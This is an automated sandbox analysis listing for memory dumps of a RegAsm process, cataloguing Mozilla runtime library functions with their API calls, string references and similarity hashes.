Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 6af208276d9daad829f9495ea0690de8443ec4c5a5fd384e0b949efa6d9e5a01
Instruction ID: ac6873dc3ff4a9e8bd673f330469c39a64385e16bfc21c4e11b86ab3e268a377
Opcode Fuzzy Hash: 6af208276d9daad829f9495ea0690de8443ec4c5a5fd384e0b949efa6d9e5a01
Instruction Fuzzy Hash: EA414771A08745DFC741DF28C080A9BBBE5BF89354F409A2EF49987651EB30E549CB83

Function 6C6C78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C74008B), ref: 6C6C7B89
free.MOZGLUE(?,6C74008B), ref: 6C6C7BAC

Part of subcall function 6C6C78C0: free.MOZGLUE(?,6C74008B), ref: 6C6C7BCF

free.MOZGLUE(?,6C74008B), ref: 6C6C7BF2

Part of subcall function 6C6E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6E5EDB
Part of subcall function 6C6E5E90: memset.VCRUNTIME140(ewrl,000000E5,?), ref: 6C6E5F27
Part of subcall function 6C6E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6E5FB2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: b4d6034e32a1f04dba8e311a155b7367edfa8b5a5c2e0414825c00c6c64aa934
Instruction ID: 39109fef0bb5167b26b3eb41e6dd589597eac2570e95687e1c98ba8fbb46e1b6
Opcode Fuzzy Hash: b4d6034e32a1f04dba8e311a155b7367edfa8b5a5c2e0414825c00c6c64aa934
Instruction Fuzzy Hash: D5C19531F011188BEB248B68CC90BDDB7B2EF41318F1543A9D51AA7BC1D731AE858F5A

Function 6C709420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
__Init_thread_footer.LIBCMT ref: 6C70949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C70946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C709459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C70947D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 10e3591c2ff1d90fa00dfb75ea5111442733e4ded0c8305b628d6a2cc9420bce
Instruction ID: facb988fc142b7d264b10e87858d2f1d9df4c6e72f0fee8a6b7bd3442cb6a2e7
Opcode Fuzzy Hash: 10e3591c2ff1d90fa00dfb75ea5111442733e4ded0c8305b628d6a2cc9420bce
Instruction Fuzzy Hash: 0201D4B0B0010187D710BBACDE11A5733F5AB0637EF058537F92A86B51EA31E9698A5B

Function 6C710F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C710F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C710F88
GetCurrentThreadId.KERNEL32 ref: 6C710FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C711067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C7110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C71114B

Part of subcall function 6C708AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C721563), ref: 6C708BD5

free.MOZGLUE(?), ref: 6C711174
free.MOZGLUE(?), ref: 6C711186

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 045ae78a319b1adf2e66128807d29f986d4c708f1bd8837089a66281241a7c26
Instruction ID: 828a74311b3306180e88f1b2284eb4147773e557c4c08759e4a640388864826d
Opcode Fuzzy Hash: 045ae78a319b1adf2e66128807d29f986d4c708f1bd8837089a66281241a7c26
Instruction Fuzzy Hash: 55610775A083448FCB10DF25CA8879AB7F5BFD5318F08892DE89947B11EB31E449CB41

Function 6C6CE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6C6D1999), ref: 6C6CEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6C6CEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6C6CEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6C6D1999), ref: 6C6CEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6C6D1999), ref: 6C6CEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6C6CEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6C6CEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6C6CEB27

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 3264a240e754e35a60ce86c2094059bf8c7255f1ab4f08cd6840419b1a73f060
Instruction ID: dc29a9a766a99431cba0248a7c063fcae1f662c01b7481d256c44f08bcdb1ab6
Opcode Fuzzy Hash: 3264a240e754e35a60ce86c2094059bf8c7255f1ab4f08cd6840419b1a73f060
Instruction Fuzzy Hash: 7441F7B1A002259FDB14CFA8CC85AAE77B4FF55358F240629E815DB794E730EA04C7DA

Function 6C6CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C6CB61E,?,?,?,?,?,00000000), ref: 6C6CB6AC

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C6CB61E,?,?,?,?,?,00000000), ref: 6C6CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C6CB61E,?,?,?,?,?,00000000), ref: 6C6CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C6CB61E,?,?,?,?,?,00000000), ref: 6C6CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C6CB61E,?,?,?,?,?,00000000), ref: 6C6CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C6CB61E), ref: 6C6CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C6CB61E,?,?,?,?,?,00000000), ref: 6C6CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C6CB61E,?,?,?,?,?,00000000), ref: 6C6CB79A

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 895619489ffa1f42e80b7baba8e3748bb0b338832fa2e9257a17c3502b78bcbe
Instruction ID: f580b6f230f0940ba4dc1eab0e31ae6e430072d48255c1d60596c08ece28c6e6
Opcode Fuzzy Hash: 895619489ffa1f42e80b7baba8e3748bb0b338832fa2e9257a17c3502b78bcbe
Instruction Fuzzy Hash: 8141B6B2E001259FCB04DF68DC445AEB7B5FB85324F250669E825E7780D731A91487E6

Function 6C6CEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C745104), ref: 6C6CEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6CEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6CEFEC
free.MOZGLUE(?), ref: 6C6CF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6CF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C6CF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CF065
moz_xmalloc.MOZGLUE ref: 6C6CF072

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: cfc4cc09cb737282d68313a7a5795b1e2f095bb1c4eb13743921b18955cbeee3
Instruction ID: 0527657a363f75e0e66b95967c99d1b8cdd16ae7d407dc8bf92d4adfb45dd790
Opcode Fuzzy Hash: cfc4cc09cb737282d68313a7a5795b1e2f095bb1c4eb13743921b18955cbeee3
Instruction Fuzzy Hash: DA4116B1B002159FCB08CF68DC959AE7365FF85318B24022DE826CB794EB31E905C7E6

Function 6C73B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C73B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C73B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C73B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C73B5F4
__Init_thread_footer.LIBCMT ref: 6C73B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C73B61F
std::_Facet_Register.LIBCPMT ref: 6C73B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C73B655

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 1ed4545835cf012ff2c4438d02a26028d399bcd53efecbc8c26856b869fe0a80
Instruction ID: 08809304caabb07c25c5e5e15466e39d90c50069e56cc8db4b767e8534004ebe
Opcode Fuzzy Hash: 1ed4545835cf012ff2c4438d02a26028d399bcd53efecbc8c26856b869fe0a80
Instruction Fuzzy Hash: 2231F571B00514CBCB00EF68C9598AEB7B5FF8A329B144576D91697741DB30BD06CF91

Function 6C706590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C6FFA80: GetCurrentThreadId.KERNEL32 ref: 6C6FFA8D
Part of subcall function 6C6FFA80: AcquireSRWLockExclusive.KERNEL32(6C74F448), ref: 6C6FFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C706727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C7067C8

Part of subcall function 6C714290: memcpy.VCRUNTIME140(?,?,6C722003,6C720AD9,?,6C720AD9,00000000,?,6C720AD9,?,00000004,?,6C721A62,?,6C722003,?), ref: 6C7142C4

Strings

vtl, xrefs: 6C70696C
data, xrefs: 6C706593

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vtl
API String ID: 511789754-1574058162
Opcode ID: 79d272ac9644d47cabfbebae3eaee25bc77c6f6dafe97bd77b1a534f1369f29c
Instruction ID: d6b9a985822f43a77321c9e8fc437db2272def4701abab05f21ebda7ab9899d6
Opcode Fuzzy Hash: 79d272ac9644d47cabfbebae3eaee25bc77c6f6dafe97bd77b1a534f1369f29c
Instruction Fuzzy Hash: DFD1DFB5B083408FD720DF24C955B9FB7E5AFD5308F10892DE48987B91EB30A949CB92

Function 6C6FD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C6CEB57,?,?,?,?,?,?,?,?,?), ref: 6C6FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6CEB57,?), ref: 6C6FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C6CEB57,?), ref: 6C6FD673
free.MOZGLUE(?), ref: 6C6FD888

Strings

Wll, xrefs: 6C6FD5D9, 6C6FD63F
|Enabled, xrefs: 6C6FD81E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wll$|Enabled
API String ID: 4142949111-1183618018
Opcode ID: 381ca74e2798863b89f969f2da89a696f6284403f336ddb5d073c85613e2aa8e
Instruction ID: 499a28991ecc8356eca8b15e2502876c6e39058d148106323ecd434c681e3ee6
Opcode Fuzzy Hash: 381ca74e2798863b89f969f2da89a696f6284403f336ddb5d073c85613e2aa8e
Instruction Fuzzy Hash: E0A10570A043189FDB11CF69C4907EEBBF2AF4A318F14805DD8A9AB741C731B946CBA5

Function 6C6D9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C727ABE), ref: 6C6D985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C727ABE), ref: 6C6D98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C6D9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C6D9918
free.MOZGLUE(?), ref: 6C6D9975

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: fee08c2c787e9128d957709bdbdc02baa129f86c45fe84084b84f7c27e8e206a
Instruction ID: 1c5049d60cd86e059b1d135803946cf929b5f361518200ec2e707ce873ea2f36
Opcode Fuzzy Hash: fee08c2c787e9128d957709bdbdc02baa129f86c45fe84084b84f7c27e8e206a
Instruction Fuzzy Hash: 59718B756047058FC725CF28C490956B7F1FF4A3287294AADE85A8BB90DB31F841CF95

Function 6C6DB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C71CC83,?,?,?,?,?,?,?,?,?,6C71BCAE,?,?,6C70DC2C), ref: 6C6DB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C71CC83,?,?,?,?,?,?,?,?,?,6C71BCAE,?,?,6C70DC2C), ref: 6C6DB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C71CC83,?,?,?,?,?,?,?,?,?,6C71BCAE), ref: 6C6DB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C71CC83,?,?,?,?,?,?,?,?,?,6C71BCAE,?,?,6C70DC2C), ref: 6C6DB896

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 4197a2779011ad0147c56b0c1b2678a0a80183e78612a85210c5b5e2086081a2
Instruction ID: 2c95d064d365caee1545f6d19b4151b4da49950ff0525bf525f710ff9a92a872
Opcode Fuzzy Hash: 4197a2779011ad0147c56b0c1b2678a0a80183e78612a85210c5b5e2086081a2
Instruction Fuzzy Hash: AA517C35B006008FCB15DF59C494A6ABBF5FF89318B6A856DE99A8B355C731FC01CB84

Function 6C711D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C711D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C711BE3,?,?,6C711D96,00000000), ref: 6C711D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C711BE3,?,?,6C711D96,00000000), ref: 6C711D4C
GetCurrentThreadId.KERNEL32 ref: 6C711DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C711DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C711DDA

Part of subcall function 6C711EF0: GetCurrentThreadId.KERNEL32 ref: 6C711F03
Part of subcall function 6C711EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C711DF2,00000000,00000000), ref: 6C711F0C
Part of subcall function 6C711EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C711F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C711DF4

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: dce0d660aa7cf61c1e7fe869de962b55becd7c775879ee81b3006709fec8744b
Instruction ID: 19d0c80018a1cec75fdb271be39c853741140db1b6a3cb505ea14b4c40b292b2
Opcode Fuzzy Hash: dce0d660aa7cf61c1e7fe869de962b55becd7c775879ee81b3006709fec8744b
Instruction Fuzzy Hash: ED41ABB52007049FCB10DF29C589A5ABBF9FF89318F14846EE99A87B41CB31F814CB95

Function 6C6D38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C74E220,?,?,?,?,6C6D3899,?), ref: 6C6D38B2
ReleaseSRWLockExclusive.KERNEL32(6C74E220,?,?,?,6C6D3899,?), ref: 6C6D38C3
free.MOZGLUE(00000000,?,?,?,6C6D3899,?), ref: 6C6D38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6D3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C6D3899,?), ref: 6C6D392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C6D3899,?), ref: 6C6D3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6C6D396E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 0bd0a39343a1edfa7743662994ed9f2768b056354554fba5e09a40f076c8aee1
Instruction ID: 5edecf8cec15e14491ec45a02d681daac6e19e63ec10e67f0955ca7708f5dfff
Opcode Fuzzy Hash: 0bd0a39343a1edfa7743662994ed9f2768b056354554fba5e09a40f076c8aee1
Instruction Fuzzy Hash: 83210276600B20DFD720DF25C884B96B7B9EF45328F168439D95A9BB11D730F885CB94

Function 6C7084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C70850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C70851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C70855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C70856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7085AC

Part of subcall function 6C707670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C70767F
Part of subcall function 6C707670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C707693
Part of subcall function 6C707670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7076A7

